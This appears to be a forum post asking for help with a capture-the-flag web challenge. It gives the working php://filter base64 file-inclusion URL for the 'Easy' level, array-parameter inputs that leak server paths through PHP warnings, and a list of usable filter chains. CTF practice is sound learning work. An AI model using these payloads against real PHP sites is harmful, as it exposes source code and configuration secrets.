I've already solved "Easy" - http://level11.tasteless.eu/index.php?file=php://filter/convert.base64-encode/resource=config.easy.inc.php<p>I was told that the "Hard" version is essentially the same as "Easy", except that the keyword "php" is filtered, so "Easy"'s solution won't work anymore, ie. I can imagine something like `preg_match("/php/i", $file)` is filtering it on "Hard" version.<p>__errors I managed to trigger__<p>http://level11.tasteless.eu/index.php?hard=1&file[]=test.txt<p>Warning: trim() expects parameter 1 to be string, array given in /var/www/chall/level11/index.php on line 32<p>http://level11.tasteless.eu/index.php?hard=0&file[0]="php://filter/convert.base64-encode/resource=config.easy.inc.php<p>Warning: preg_match() expects parameter 2 to be string, array given in /var/www/chall/level11/index.php on line 35<p>...these show the path of the file, as well as functions to bypass<p>__filter functions that work__<p>convert.base64-encode, convert.base64-decode, zlib.deflate, bzip2.compress